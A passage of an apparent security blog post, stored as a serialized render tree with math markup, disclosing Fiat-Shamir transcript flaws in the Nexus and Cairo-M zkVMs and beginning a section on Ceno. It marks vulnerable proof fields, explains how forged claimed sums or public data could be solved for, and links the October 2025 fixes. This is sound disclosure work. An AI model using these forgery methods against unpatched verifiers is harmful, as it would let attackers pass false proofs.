hildren":116120},{"className":116119},[2988,3038],[116121],{"type":23,"tag":504,"props":116122,"children":116124},{"className":116123},[2988,3038],[116125],{"type":28,"value":2991},{"type":23,"tag":504,"props":116127,"children":116129},{"className":116128},[20726],[116130],{"type":28,"value":20729},{"type":23,"tag":504,"props":116132,"children":116134},{"className":116133},[3015],[116135],{"type":23,"tag":504,"props":116136,"children":116138},{"className":116137,"style":113450},[3020],[116139],{"type":23,"tag":504,"props":116140,"children":116141},{},[],{"type":23,"tag":504,"props":116143,"children":116145},{"className":116144},[20720,112316],[],{"type":23,"tag":24,"props":116147,"children":116148},{},[116149,116151,116156],{"type":28,"value":116150},"All ",{"type":23,"tag":56,"props":116152,"children":116154},{"className":116153},[],[116155],{"type":28,"value":113662},{"type":28,"value":116157}," values must sum to zero (everything produced is consumed).",{"type":23,"tag":24,"props":116159,"children":116160},{},[116161,116163,116168],{"type":28,"value":116162},"All constraints are combined into a composition polynomial. The verifier then checks this polynomial at a random point outside the execution domain, known as an ",{"type":23,"tag":296,"props":116164,"children":116165},{},[116166],{"type":28,"value":116167},"OODS (Out-of-Domain Sampling)",{"type":28,"value":116169}," test.",{"type":23,"tag":24,"props":116171,"children":116172},{},[116173],{"type":23,"tag":296,"props":116174,"children":116175},{},[116176],{"type":28,"value":114214},{"type":23,"tag":494,"props":116178,"children":116180},{"code":116179},"NexusProof {\n    stark_proof: {\n        commitments: [Merkle roots of trace columns]\n        sampled_values: [polynomial evaluations]\n        fri_proof: [low-degree test proof]\n    }\n    claimed_sum: [FieldElement; NUM_COMPONENTS]  // \u003C- VULNERABLE\n    log_size: [component sizes]\n}\n",[116181],{"type":23,"tag":56,"props":116182,"children":116183},{"__ignoreMap":7},[116184],{"type":28,"value":116179},{"type":23,"tag":24,"props":116186,"children":116187},{},[116188,116190,116195],{"type":28,"value":116189},"The",{"type":23,"tag":56,"props":116191,"children":116193},{"className":116192},[],[116194],{"type":28,"value":113662},{"type":28,"value":116196}," values are checked to be of correct length, that they sum to zero, and are used in the final composition polynomial. But at no point were they absorbed into the transcript.",{"type":23,"tag":24,"props":116198,"children":116199},{},[116200],{"type":23,"tag":126,"props":116201,"children":116204},{"alt":116202,"src":116203},"6_nexus_flow","/posts/zkvms-unfaithful-claims/6_nexus_flow.svg",[],{"type":23,"tag":24,"props":116206,"children":116207},{},[116208,116210,116219],{"type":28,"value":116209},"The OODS check computes the composition polynomial, which includes logup boundary constraints. These constraints are ",{"type":23,"tag":296,"props":116211,"children":116212},{},[116213,116214],{"type":28,"value":110669},{"type":23,"tag":56,"props":116215,"children":116217},{"className":116216},[],[116218],{"type":28,"value":113662},{"type":28,"value":3472},{"type":23,"tag":24,"props":116221,"children":116222},{},[116223],{"type":28,"value":116224},"The composition polynomial is a random linear combination of constraints:",{"type":23,"tag":24,"props":116226,"children":116227},{},[116228],{"type":23,"tag":56,"props":116229,"children":116231},{"className":116230},[2960,2961],[116232],{"type":23,"tag":504,"props":116233,"children":116235},{"className":116234},[2966],[116236],{"type":23,"tag":504,"props":116237,"children":116239},{"className":116238,"ariaHidden":2972},[2971],[116240,116281,116420],{"type":23,"tag":504,"props":116241,"children":116243},{"className":116242},[2977],[116244,116248,116253,116258,116263,116268,116272,116277],{"type":23,"tag":504,"props":116245,"children":116247},{"className":116246,"style":3090},[2982],[],{"type":23,"tag":504,"props":116249,"children":116251},{"className":116250,"style":21101},[2988,20569],[116252],{"type":28,"value":115027},{"type":23,"tag":504,"props":116254,"children":116256},{"className":116255},[20698],[116257],{"type":28,"value":526},{"type":23,"tag":504,"props":116259,"children":116261},{"className":116260},[2988,20569],[116262],{"type":28,"value":18257},{"type":23,"tag":504,"props":116264,"children":116266},{"className":116265},[20720],[116267],{"type":28,"value":2105},{"type":23,"tag":504,"props":116269,"children":116271},{"className":116270,"style":3167},[3069],[],{"type":23,"tag":504,"props":116273,"children":116275},{"className":116274},[3172],[116276],{"type":28,"value":601},{"type":23,"tag":504,"props":116278,"children":116280},{"className":116279,"style":3167},[3069],[],{"type":23,"tag":504,"props":116282,"children":116284},{"className":116283},[2977],[116285,116289,116346,116350,116407,116411,116416],{"type":23,"tag":504,"props":116286,"children":116288},{"className":116287,"style":114431},[2982],[],{"type":23,"tag":504,"props":116290,"children":116292},{"className":116291},[20605],[116293,116298],{"type":23,"tag":504,"props":116294,"children":116296},{"className":116295,"style":20612},[20605,20610,20611],[116297],{"type":28,"value":107593},{"type":23,"tag":504,"props":116299,"children":116301},{"className":116300},[3005],[116302],{"type":23,"tag":504,"props":116303,"children":116305},{"className":116304},[3010,20623],[116306,116335],{"type":23,"tag":504,"props":116307,"children":116309},{"className":116308},[3015],[116310,116330],{"type":23,"tag":504,"props":116311,"children":116313},{"className":116312,"style":113005},[3020],[116314],{"type":23,"tag":504,"props":116315,"children":116316},{"style":20636},[116317,116321],{"type":23,"tag":504,"props":116318,"children":116320},{"className":116319,"style":3030},[3029],[],{"type":23,"tag":504,"props":116322,"children":116324},{"className":116323},[3035,3036,3037,3038],[116325],{"type":23,"tag":504,"props":116326,"children":116328},{"className":116327},[2988,20569,3038],[116329],{"type":28,"value":2716},{"type":23,"tag":504,"props":116331,"children":116333},{"className":116332},[20726],[116334],{"type":28,"value":20729},{"type":23,"tag":504,"props":116336,"children":116338},{"className":116337},[3015],[116339],{"type":23,"tag":504,"props":116340,"children":116342},{"className":116341,"style":113285},[3020],[116343],{"type":23,"tag":504,"props":116344,"children":116345},{},[],{"type":23,"tag":504,"props":116347,"children":116349},{"className":116348,"style":3108},[3069],[],{"type":23,"tag":504,"props":116351,"children":116353},{"className":116352},[2988],[116354,116359],{"type":23,"tag":504,"props":116355,"children":116357},{"className":116356,"style":113886},[2988,20569],[116358],{"type":28,"value":113889},{"type":23,"tag":504,"props":116360,"children":116362},{"className":116361},[3005],[116363],{"type":23,"tag":504,"props":116364,"children":116366},{"className":116365},[3010,20623],[116367,116396],{"type":23,"tag":504,"props":116368,"children":116370},{"className":116369},[3015],[116371,116391],{"type":23,"tag":504,"props":116372,"children":116374},{"className":116373,"style":92327},[3020],[116375],{"type":23,"tag":504,"props":116376,"children":116377},{"style":114521},[116378,116382],{"type":23,"tag":504,"props":116379,"children":116381},{"className":116380,"style":3030},[3029],[],{"type":23,"tag":504,"props":116383,"children":116385},{"className":116384},[3035,3036,3037,3038],[116386],{"type":23,"tag":504,"props":116387,"children":116389},{"className":116388},[2988,20569,3038],[116390],{"type":28,"value":2716},{"type":23,"tag":504,"props":116392,"children":116394},{"className":116393},[20726],[116395],{"type":28,"value":20729},{"type":23,"tag":504,"props":116397,"children":116399},{"className":116398},[3015],[116400],{"type":23,"tag":504,"props":116401,"children":116403},{"className":116402,"style":91881},[3020],[116404],{"type":23,"tag":504,"props":116405,"children":116406},{},[],{"type":23,"tag":504,"props":116408,"children":116410},{"className":116409,"style":3070},[3069],[],{"type":23,"tag":504,"props":116412,"children":116414},{"className":116413},[3075],[116415],{"type":28,"value":110060},{"type":23,"tag":504,"props":116417,"children":116419},{"className":116418,"style":3070},[3069],[],{"type":23,"tag":504,"props":116421,"children":116423},{"className":116422},[2977],[116424,116428,116490,116495,116500],{"type":23,"tag":504,"props":116425,"children":116427},{"className":116426,"style":3090},[2982],[],{"type":23,"tag":504,"props":116429,"children":116431},{"className":116430},[2988],[116432,116442],{"type":23,"tag":504,"props":116433,"children":116435},{"className":116434},[2988,28],[116436],{"type":23,"tag":504,"props":116437,"children":116439},{"className":116438},[2988],[116440],{"type":28,"value":116441},"constraint",{"type":23,"tag":504,"props":116443,"children":116445},{"className":116444},[3005],[116446],{"type":23,"tag":504,"props":116447,"children":116449},{"className":116448},[3010,20623],[116450,116479],{"type":23,"tag":504,"props":116451,"children":116453},{"className":116452},[3015],[116454,116474],{"type":23,"tag":504,"props":116455,"children":116457},{"className":116456,"style":92327},[3020],[116458],{"type":23,"tag":504,"props":116459,"children":116460},{"style":112928},[116461,116465],{"type":23,"tag":504,"props":116462,"children":116464},{"className":116463,"style":3030},[3029],[],{"type":23,"tag":504,"props":116466,"children":116468},{"className":116467},[3035,3036,3037,3038],[116469],{"type":23,"tag":504,"props":116470,"children":116472},{"className":116471},[2988,20569,3038],[116473],{"type":28,"value":2716},{"type":23,"tag":504,"props":116475,"children":116477},{"className":116476},[20726],[116478],{"type":28,"value":20729},{"type":23,"tag":504,"props":116480,"children":116482},{"className":116481},[3015],[116483],{"type":23,"tag":504,"props":116484,"children":116486},{"className":116485,"style":91881},[3020],[116487],{"type":23,"tag":504,"props":116488,"children":116489},{},[],{"type":23,"tag":504,"props":116491,"children":116493},{"className":116492},[20698],[116494],{"type":28,"value":526},{"type":23,"tag":504,"props":116496,"children":116498},{"className":116497},[2988,20569],[116499],{"type":28,"value":18257},{"type":23,"tag":504,"props":116501,"children":116503},{"className":116502},[20720],[116504],{"type":28,"value":2105},{"type":23,"tag":24,"props":116506,"children":116507},{},[116508,116510,116515,116517,116522],{"type":28,"value":116509},"Since each constraint is linear in its ",{"type":23,"tag":56,"props":116511,"children":116513},{"className":116512},[],[116514],{"type":28,"value":113662},{"type":28,"value":116516},", the overall composition polynomial is linear in all ",{"type":23,"tag":56,"props":116518,"children":116520},{"className":116519},[],[116521],{"type":28,"value":113662},{"type":28,"value":116523}," values.",{"type":23,"tag":24,"props":116525,"children":116526},{},[116527,116529],{"type":28,"value":116528},"The verifier checks ",{"type":23,"tag":56,"props":116530,"children":116532},{"className":116531},[2960,2961],[116533],{"type":23,"tag":504,"props":116534,"children":116536},{"className":116535},[2966],[116537],{"type":23,"tag":504,"props":116538,"children":116540},{"className":116539,"ariaHidden":2972},[2971],[116541,116602],{"type":23,"tag":504,"props":116542,"children":116544},{"className":116543},[2977],[116545,116549,116554,116559,116569,116574,116584,116589,116593,116598],{"type":23,"tag":504,"props":116546,"children":116548},{"className":116547,"style":91740},[2982],[],{"type":23,"tag":504,"props":116550,"children":116552},{"className":116551,"style":21101},[2988,20569],[116553],{"type":28,"value":115027},{"type":23,"tag":504,"props":116555,"children":116557},{"className":116556},[20698],[116558],{"type":28,"value":526},{"type":23,"tag":504,"props":116560,"children":116562},{"className":116561},[2988,28],[116563],{"type":23,"tag":504,"props":116564,"children":116566},{"className":116565},[2988],[116567],{"type":28,"value":116568},"oods",{"type":23,"tag":504,"props":116570,"children":116572},{"className":116571,"style":91798},[2988],[116573],{"type":28,"value":2059},{"type":23,"tag":504,"props":116575,"children":116577},{"className":116576},[2988,28],[116578],{"type":23,"tag":504,"props":116579,"children":116581},{"className":116580},[2988],[116582],{"type":28,"value":116583},"point",{"type":23,"tag":504,"props":116585,"children":116587},{"className":116586},[20720],[116588],{"type":28,"value":2105},{"type":23,"tag":504,"props":116590,"children":116592},{"className":116591,"style":3167},[3069],[],{"type":23,"tag":504,"props":116594,"children":116596},{"className":116595},[3172],[116597],{"type":28,"value":601},{"type":23,"tag":504,"props":116599,"children":116601},{"className":116600,"style":3167},[3069],[],{"type":23,"tag":504,"props":116603,"children":116605},{"className":116604},[2977],[116606,116610],{"type":23,"tag":504,"props":116607,"children":116609},{"className":116608,"style":113853},[2982],[],{"type":23,"tag":504,"props":116611,"children":116613},{"className":116612},[2988,28],[116614],{"type":23,"tag":504,"props":116615,"children":116617},{"className":116616},[2988],[116618],{"type":28,"value":115352},{"type":23,"tag":24,"props":116620,"children":116621},{},[116622,116624,116629,116631,116636],{"type":28,"value":116623},"With ",{"type":23,"tag":56,"props":116625,"children":116627},{"className":116626},[],[116628],{"type":28,"value":113662},{"type":28,"value":116630}," not in transcript, the composition polynomial becomes a linear function of the ",{"type":23,"tag":56,"props":116632,"children":116634},{"className":116633},[],[116635],{"type":28,"value":113662},{"type":28,"value":116637}," values. Combined with the constraint that claimed sums must sum to zero, this is a small linear system that is easily solvable.",{"type":23,"tag":24,"props":116639,"children":116640},{},[116641,116645,116647],{"type":23,"tag":296,"props":116642,"children":116643},{},[116644],{"type":28,"value":115508},{"type":28,"value":116646}," Fixed on October 24, 2025 via ",{"type":23,"tag":92,"props":116648,"children":116651},{"href":116649,"rel":116650},"https://github.com/nexus-xyz/nexus-zkvm/pull/503",[96],[116652],{"type":28,"value":116653},"PR #503",{"type":23,"tag":17774,"props":116655,"children":116656},{},[],{"type":23,"tag":82,"props":116658,"children":116660},{"id":116659},"cairo-m-kakarot-labs",[116661],{"type":28,"value":116662},"Cairo-M (Kakarot Labs)",{"type":23,"tag":24,"props":116664,"children":116665},{},[116666],{"type":28,"value":116667},"Cairo-M, built by Kakarot Labs, is an alternative proof system for the Cairo VM (used by Starknet).",{"type":23,"tag":24,"props":116669,"children":116670},{},[116671],{"type":28,"value":116672},"Cairo-M is in many ways similar to Nexus. It uses logup to prove global statements about the execution.",{"type":23,"tag":24,"props":116674,"children":116675},{},[116676],{"type":23,"tag":296,"props":116677,"children":116678},{},[116679],{"type":28,"value":114214},{"type":23,"tag":494,"props":116681,"children":116683},{"code":116682},"Proof {\n    claim: ComponentSizes,\n    interaction_claim: LogupClaimsPerComponent,\n    public_data: {          // \u003C- VULNERABLE\n        initial_registers: { pc, fp },\n        final_registers: { pc, fp }, // \u003C- forged\n        clock,                       // \u003C- forged\n        initial_root,                \n        final_root,                  // \u003C- forged\n        public_memory: { program, input, output }, //output modified\n    },\n    stark_proof: [...],\n}\n",[116684],{"type":23,"tag":56,"props":116685,"children":116686},{"__ignoreMap":7},[116687],{"type":28,"value":116682},{"type":23,"tag":24,"props":116689,"children":116690},{},[116691],{"type":23,"tag":296,"props":116692,"children":116693},{},[116694],{"type":28,"value":114230},{"type":23,"tag":24,"props":116696,"children":116697},{},[116698],{"type":23,"tag":126,"props":116699,"children":116702},{"alt":116700,"src":116701},"7_cairo_m_verification","/posts/zkvms-unfaithful-claims/7_cairo_m_verification.svg",[],{"type":23,"tag":24,"props":116704,"children":116705},{},[116706,116708,116714],{"type":28,"value":116707},"Lookup challenges are derived without ",{"type":23,"tag":56,"props":116709,"children":116711},{"className":116710},[],[116712],{"type":28,"value":116713},"public_data",{"type":28,"value":116715}," being  mixed into the transcript.",{"type":23,"tag":24,"props":116717,"children":116718},{},[116719,116720,116725,116727,116732],{"type":28,"value":15592},{"type":23,"tag":56,"props":116721,"children":116723},{"className":116722},[],[116724],{"type":28,"value":116713},{"type":28,"value":116726}," (program I/O, boundary registers, memory roots) enters the lookup relations inside ",{"type":23,"tag":1887,"props":116728,"children":116729},{},[116730],{"type":28,"value":116731},"denominators",{"type":28,"value":116733}," through challenge-weighted encodings of tuples. Abstractly, the verifier checks a relation of the form:",{"type":23,"tag":24,"props":116735,"children":116736},{},[116737],{"type":23,"tag":56,"props":116738,"children":116740},{"className":116739},[2960,2961],[116741],{"type":23,"tag":504,"props":116742,"children":116744},{"className":116743},[2966],[116745],{"type":23,"tag":504,"props":116746,"children":116748},{"className":116747,"ariaHidden":2972},[2971],[116749,116809,116855,116901],{"type":23,"tag":504,"props":116750,"children":116752},{"className":116751},[2977],[116753,116757,116763,116768,116777,116782,116791,116796,116800,116805],{"type":23,"tag":504,"props":116754,"children":116756},{"className":116755,"style":91740},[2982],[],{"type":23,"tag":504,"props":116758,"children":116760},{"className":116759},[2988,20569],[116761],{"type":28,"value":116762},"L",{"type":23,"tag":504,"props":116764,"children":116766},{"className":116765},[20698],[116767],{"type":28,"value":526},{"type":23,"tag":504,"props":116769,"children":116771},{"className":116770},[2988,28],[116772],{"type":23,"tag":504,"props":116773,"children":116775},{"className":116774},[2988],[116776],{"type":28,"value":60654},{"type":23,"tag":504,"props":116778,"children":116780},{"className":116779,"style":91798},[2988],[116781],{"type":28,"value":2059},{"type":23,"tag":504,"props":116783,"children":116785},{"className":116784},[2988,28],[116786],{"type":23,"tag":504,"props":116787,"children":116789},{"className":116788},[2988],[116790],{"type":28,"value":2679},{"type":23,"tag":504,"props":116792,"children":116794},{"className":116793},[20720],[116795],{"type":28,"value":2105},{"type":23,"tag":504,"props":116797,"children":116799},{"className":116798,"style":3070},[3069],[],{"type":23,"tag":504,"props":116801,"children":116803},{"className":116802},[3075],[116804],{"type":28,"value":1642},{"type":23,"tag":504,"props":116806,"children":116808},{"className":116807,"style":3070},[3069],[],{"type":23,"tag":504,"props":116810,"children":116812},{"className":116811},[2977],[116813,116817,116827,116832,116842,116846,116851],{"type":23,"tag":504,"props":116814,"children":116816},{"className":116815,"style":91740},[2982],[],{"type":23,"tag":504,"props":116818,"children":116820},{"className":116819},[2988,28],[116821],{"type":23,"tag":504,"props":116822,"children":116824},{"className":116823},[2988],[116825],{"type":28,"value":116826},"(other transcript",{"type":23,"tag":504,"props":116828,"children":116830},{"className":116829,"style":91798},[2988],[116831],{"type":28,"value":2059},{"type":23,"tag":504,"props":116833,"children":116835},{"className":116834},[2988,28],[116836],{"type":23,"tag":504,"props":116837,"children":116839},{"className":116838},[2988],[116840],{"type":28,"value":116841},"bound terms)",{"type":23,"tag":504,"props":116843,"children":116845},{"className":116844,"style":3167},[3069],[],{"type":23,"tag":504,"props":116847,"children":116849},{"className":116848},[3172],[116850],{"type":28,"value":601},{"type":23,"tag":504,"props":116852,"children":116854},{"className":116853,"style":3167},[3069],[],{"type":23,"tag":504,"props":116856,"children":116858},{"className":116857},[2977],[116859,116864,116869,116874,116879,116883,116888,116892,116897],{"type":23,"tag":504,"props":116860,"children":116863},{"className":116861,"style":116862},[2982],"height:0.8778em;vertical-align:-0.1944em;",[],{"type":23,"tag":504,"props":116865,"children":116867},{"className":116866},[2988],[116868],{"type":28,"value":3001},{"type":23,"tag":504,"props":116870,"children":116872},{"className":116871},[3101],[116873],{"type":28,"value":3104},{"type":23,"tag":504,"props":116875,"children":116878},{"className":116876,"style":116877},[3069],"margin-right:2em;",[],{"type":23,"tag":504,"props":116880,"children":116882},{"className":116881,"style":3108},[3069],[],{"type":23,"tag":504,"props":116884,"children":116886},{"className":116885},[2988,20569],[116887],{"type":28,"value":116762},{"type":23,"tag":504,"props":116889,"children":116891},{"className":116890,"style":3167},[3069],[],{"type":23,"tag":504,"props":116893,"children":116895},{"className":116894},[3172],[116896],{"type":28,"value":601},{"type":23,"tag":504,"props":116898,"children":116900},{"className":116899,"style":3167},[3069],[],{"type":23,"tag":504,"props":116902,"children":116904},{"className":116903},[2977],[116905,116910,116967,116971,117189],{"type":23,"tag":504,"props":116906,"children":116909},{"className":116907,"style":116908},[2982],"height:1.4071em;vertical-align:-0.562em;",[],{"type":23,"tag":504,"props":116911,"children":116913},{"className":116912},[20605],[116914,116919],{"type":23,"tag":504,"props":116915,"children":116917},{"className":116916,"style":20612},[20605,20610,20611],[116918],{"type":28,"value":107593},{"type":23,"tag":504,"props":116920,"children":116922},{"className":116921},[3005],[116923],{"type":23,"tag":504,"props":116924,"children":116926},{"className":116925},[3010,20623],[116927,116956],{"type":23,"tag":504,"props":116928,"children":116930},{"className":116929},[3015],[116931,116951],{"type":23,"tag":504,"props":116932,"children":116934},{"className":116933,"style":113005},[3020],[116935],{"type":23,"tag":504,"props":116936,"children":116937},{"style":20636},[116938,116942],{"type":23,"tag":504,"props":116939,"children":116941},{"className":116940,"style":3030},[3029],[],{"type":23,"tag":504,"props":116943,"children":116945},{"className":116944},[3035,3036,3037,3038],[116946],{"type":23,"tag":504,"props":116947,"children":116949},{"className":116948},[2988,20569,3038],[116950],{"type":28,"value":2716},{"type":23,"tag":504,"props":116952,"children":116954},{"className":116953},[20726],[116955],{"type":28,"value":20729},{"type":23,"tag":504,"props":116957,"children":116959},{"className":116958},[3015],[116960],{"type":23,"tag":504,"props":116961,"children":116963},{"className":116962,"style":113285},[3020],[116964],{"type":23,"tag":504,"props":116965,"children":116966},{},[],{"type":23,"tag":504,"props":116968,"children":116970},{"className":116969,"style":3108},[3069],[],{"type":23,"tag":504,"props":116972,"children":116974},{"className":116973},[2988],[116975,116979,117185],{"type":23,"tag":504,"props":116976,"children":116978},{"className":116977},[20698,112316],[],{"type":23,"tag":504,"props":116980,"children":116982},{"className":116981},[112321],[116983],{"type":23,"tag":504,"props":116984,"children":116986},{"className":116985},[3010,20623],[116987,117173],{"type":23,"tag":504,"props":116988,"children":116990},{"className":116989},[3015],[116991,117168],{"type":23,"tag":504,"props":116992,"children":116994},{"className":116993,"style":112334},[3020],[116995,117137,117148],{"type":23,"tag":504,"props":116996,"children":116997},{"style":112338},[116998,117002],{"type":23,"tag":504,"props":116999,"children":117001},{"className":117000,"style":110969},[3029],[],{"type":23,"tag":504,"props":117003,"children":117005},{"className":117004},[3035,3036,3037,3038],[117006],{"type":23,"tag":504,"props":117007,"children":117009},{"className":117008},[2988,3038],[117010,117015,117020,117026,117031,117036,117093,117098,117107,117112,117121,117127,117132],{"type":23,"tag":504,"props":117011,"children":117013},{"className":117012,"style":112355},[2988,20569,3038],[117014],{"type":28,"value":112358},{"type":23,"tag":504,"props":117016,"children":117018},{"className":117017},[3075,3038],[117019],{"type":28,"value":1642},{"type":23,"tag":504,"props":117021,"children":117023},{"className":117022},[20698,3038],[117024],{"type":28,"value":117025},"⟨",{"type":23,"tag":504,"props":117027,"children":117029},{"className":117028,"style":113886},[2988,20569,3038],[117030],{"type":28,"value":113889},{"type":23,"tag":504,"props":117032,"children":117034},{"className":117033},[3101,3038],[117035],{"type":28,"value":3104},{"type":23,"tag":504,"props":117037,"children":117039},{"className":117038},[2988,3038],[117040,117045],{"type":23,"tag":504,"props":117041,"children":117043},{"className":117042},[2988,20569,3038],[117044],{"type":28,"value":20711},{"type":23,"tag":504,"props":117046,"children":117048},{"className":117047},[3005],[117049],{"type":23,"tag":504,"props":117050,"children":117052},{"className":117051},[3010,20623],[117053,117082],{"type":23,"tag":504,"props":117054,"children":117056},{"className":117055},[3015],[117057,117077],{"type":23,"tag":504,"props":117058,"children":117060},{"className":117059,"style":113122},[3020],[117061],{"type":23,"tag":504,"props":117062,"children":117063},{"style":107653},[117064,117068],{"type":23,"tag":504,"props":117065,"children":117067},{"className":117066,"style":107658},[3029],[],{"type":23,"tag":504,"props":117069,"children":117071},{"className":117070},[3035,107663,107664,3038],[117072],{"type":23,"tag":504,"props":117073,"children":117075},{"className":117074},[2988,20569,3038],[117076],{"type":28,"value":2716},{"type":23,"tag":504,"props":117078,"children":117080},{"className":117079},[20726],[117081],{"type":28,"value":20729},{"type":23,"tag":504,"props":117083,"children":117085},{"className":117084},[3015],[117086],{"type":23,"tag":504,"props":117087,"children":117089},{"className":117088,"style":107683},[3020],[117090],{"type":23,"tag":504,"props":117091,"children":117092},{},[],{"type":23,"tag":504,"props":117094,"children":117096},{"className":117095},[20698,3038],[117097],{"type":28,"value":526},{"type":23,"tag":504,"props":117099,"children":117101},{"className":117100},[2988,28,3038],[117102],{"type":23,"tag":504,"props":117103,"children":117105},{"className":117104},[2988,3038],[117106],{"type":28,"value":60654},{"type":23,"tag":504,"props":117108,"children":117110},{"className":117109,"style":91798},[2988,3038],[117111],{"type":28,"value":2059},{"type":23,"tag":504,"props":117113,"children":117115},{"className":117114},[2988,28,3038],[117116],{"type":23,"tag":504,"props":117117,"children":117119},{"className":117118},[2988,3038],[117120],{"type":28,"value":2679},{"type":23,"tag":504,"props":117122,"children":117124},{"className":117123},[20720,3038],[117125],{"type":28,"value":117126},")⟩",{"type":23,"tag":504,"props":117128,"children":117130},{"className":117129},[3075,3038],[117131],{"type":28,"value":1642},{"type":23,"tag":504,"props":117133,"children":117135},{"className":117134,"style":113941},[2988,20569,3038],[117136],{"type":28,"value":113944},{"type":23,"tag":504,"props":117138,"children":117139},{"style":112371},[117140,117144],{"type":23,"tag":504,"props":117141,"children":117143},{"className":117142,"style":110969},[3029],[],{"type":23,"tag":504,"props":117145,"children":117147},{"className":117146,"style":112381},[112380],[],{"type":23,"tag":504,"props":117149,"children":117150},{"style":112385},[117151,117155],{"type":23,"tag":504,"props":117152,"children":117154},{"className":117153,"style":110969},[3029],[],{"type":23,"tag":504,"props":117156,"children":117158},{"className":117157},[3035,3036,3037,3038],[117159],{"type":23,"tag":504,"props":117160,"children":117162},{"className":117161},[2988,3038],[117163],{"type":23,"tag":504,"props":117164,"children":117166},{"className":117165},[2988,3038],[117167],{"type":28,"value":2991},{"type":23,"tag":504,"props":117169,"children":117171},{"className":117170},[20726],[117172],{"type":28,"value":20729},{"type":23,"tag":504,"props":117174,"children":117176},{"className":117175},[3015],[117177],{"type":23,"tag":504,"props":117178,"children":117181},{"className":117179,"style":117180},[3020],"height:0.562em;",[117182],{"type":23,"tag":504,"props":117183,"children":117184},{},[],{"type":23,"tag":504,"props":117186,"children":117188},{"className":117187},[20720,112316],[],{"type":23,"tag":504,"props":117190,"children":117192},{"className":117191},[2988],[117193],{"type":28,"value":320},{"type":23,"tag":24,"props":117195,"children":117196},{},[117197,117199],{"type":28,"value":117198},"The global check is then that ",{"type":23,"tag":56,"props":117200,"children":117202},{"className":117201},[2960,2961],[117203],{"type":23,"tag":504,"props":117204,"children":117206},{"className":117205},[2966],[117207],{"type":23,"tag":504,"props":117208,"children":117210},{"className":117209,"ariaHidden":2972},[2971],[117211,117252,117283],{"type":23,"tag":504,"props":117212,"children":117214},{"className":117213},[2977],[117215,117219,117224,117229,117234,117239,117243,117248],{"type":23,"tag":504,"props":117216,"children":117218},{"className":117217,"style":3090},[2982],[],{"type":23,"tag":504,"props":117220,"children":117222},{"className":117221},[2988,20569],[117223],{"type":28,"value":116762},{"type":23,"tag":504,"props":117225,"children":117227},{"className":117226},[20698],[117228],{"type":28,"value":526},{"type":23,"tag":504,"props":117230,"children":117232},{"className":117231},[2988,20569],[117233],{"type":28,"value":24},{"type":23,"tag":504,"props":117235,"children":117237},{"className":117236},[20720],[117238],{"type":28,"value":2105},{"type":23,"tag":504,"props":117240,"children":117242},{"className":117241,"style":3070},[3069],[],{"type":23,"tag":504,"props":117244,"children":117246},{"className":117245},[3075],[117247],{"type":28,"value":1642},{"type":23,"tag":504,"props":117249,"children":117251},{"className":117250,"style":3070},[3069],[],{"type":23,"tag":504,"props":117253,"children":117255},{"className":117254},[2977],[117256,117260,117270,117274,117279],{"type":23,"tag":504,"props":117257,"children":117259},{"className":117258,"style":3090},[2982],[],{"type":23,"tag":504,"props":117261,"children":117263},{"className":117262},[2988,28],[117264],{"type":23,"tag":504,"props":117265,"children":117267},{"className":117266},[2988],[117268],{"type":28,"value":117269},"(other terms)",{"type":23,"tag":504,"props":117271,"children":117273},{"className":117272,"style":3167},[3069],[],{"type":23,"tag":504,"props":117275,"children":117277},{"className":117276},[3172],[117278],{"type":28,"value":601},{"type":23,"tag":504,"props":117280,"children":117282},{"className":117281,"style":3167},[3069],[],{"type":23,"tag":504,"props":117284,"children":117286},{"className":117285},[2977],[117287,117291],{"type":23,"tag":504,"props":117288,"children":117290},{"className":117289,"style":92829},[2982],[],{"type":23,"tag":504,"props":117292,"children":117294},{"className":117293},[2988],[117295],{"type":28,"value":3001},{"type":23,"tag":24,"props":117297,"children":117298},{},[117299],{"type":28,"value":117300},"With challenges fixed, this is a rational equation in public data. This is not linear, but still algebraically solvable.",{"type":23,"tag":24,"props":117302,"children":117303},{},[117304],{"type":28,"value":117305},"Public-data coordinates participate in verification relations through extension-field arithmetic (including extension-valued public-memory entries), so the forged-parameter search is a coupled extension-field system.",{"type":23,"tag":24,"props":117307,"children":117308},{},[117309,117313,117315],{"type":23,"tag":296,"props":117310,"children":117311},{},[117312],{"type":28,"value":115508},{"type":28,"value":117314}," Fixed on October 31, 2025 via ",{"type":23,"tag":92,"props":117316,"children":117319},{"href":117317,"rel":117318},"https://github.com/kkrt-labs/cairo-m/pull/352/commits/92b6740937e904e0002e7ee099fec357127c1d16",[96],[117320],{"type":28,"value":117321},"commit 92b6740",{"type":23,"tag":17774,"props":117323,"children":117324},{},[],{"type":23,"tag":82,"props":117326,"children":117328},{"id":117327},"ceno-scroll",[117329],{"type":28,"value":117330},"Ceno (Scroll)",{"type":23,"tag":24,"props":117332,"children":117333},{},[117334],{"type":28,"value":117335},"Ceno is a zkVM by Scroll, using GKR with a tower sumcheck structure.",{"type":23,"tag":24,"props":117337,"children":117338},{},[117339,117341,117346],{"type":28,"value":117340},"Ceno splits verification into ",{"type":23,"tag":296,"props":117342,"children":117343},{},[117344],{"type":28,"value":117345},"chips",{"type":28,"value":117347},", with one per opcode or lookup table. Each chip proves its constraints independently.",{"type":23,"tag":24,"props":117349,"children":117350},{},[117351,117353,117358],{"type":28,"value":117352},"Many per-record values (reads, writes, lookups) are batched into a binary tree structure. Each layer folds pairs of values with random challenges; this is the ",{"type":23,"tag":296,"props":117354,"children":117355},{},[117356],{"type":28,"value":117357},"tower sumcheck",{"type":28,"value":320},{"type":23,"tag":24,"props":117360,"children":117361},{},[117362],{"type":28,"value":117363},"All read records must match all write records (plus initial/final state). This is checked via a multiset equality, this time using a product instead of logup:",{"type":23,"tag":24,"props":117365,"children":117366},{},[117367],{"type":23,"tag":56,"props":117368,"children":117370},{"className":117369},[2960,2961],[117371],{"type":23,"tag":504,"props":117372,"children":117374},{"className":117373},[2966],[117375],{"type":23,"tag":504,"props":117376,"children":117378},{"className":117377,"ariaHidden":2972},[2971],[117379,117553,117726],{"type":23,"tag":504,"props":117380,"children":117382},{"className":117381},[2977],[117383,117387,117445,117449,117458,117463,117473,117478,117540,117544,117549],{"type":23,"tag":504,"props":117384,"children":117386},{"className":117385,"style":91740},[2982],[],{"type":23,"tag":504,"props":117388,"children":117390},{"className":117389},[20605],[117391,117397],{"type":23,"tag":504,"props":117392,"children":117394},{"className":117393,"style":20612},[20605,20610,20611],[117395],{"type":28,"value":117396},"∏",{"type":23,"tag":504,"props":117398,"children":117400},{"className":117399},[3005],[117401],{"type":23,"tag":504,"props":117402,"children":117404},{"className":117403},[3010,20623],[117405,117434],{"type":23,"tag":504,"props":117406,"children":117408},{"className":117407},[3015],[1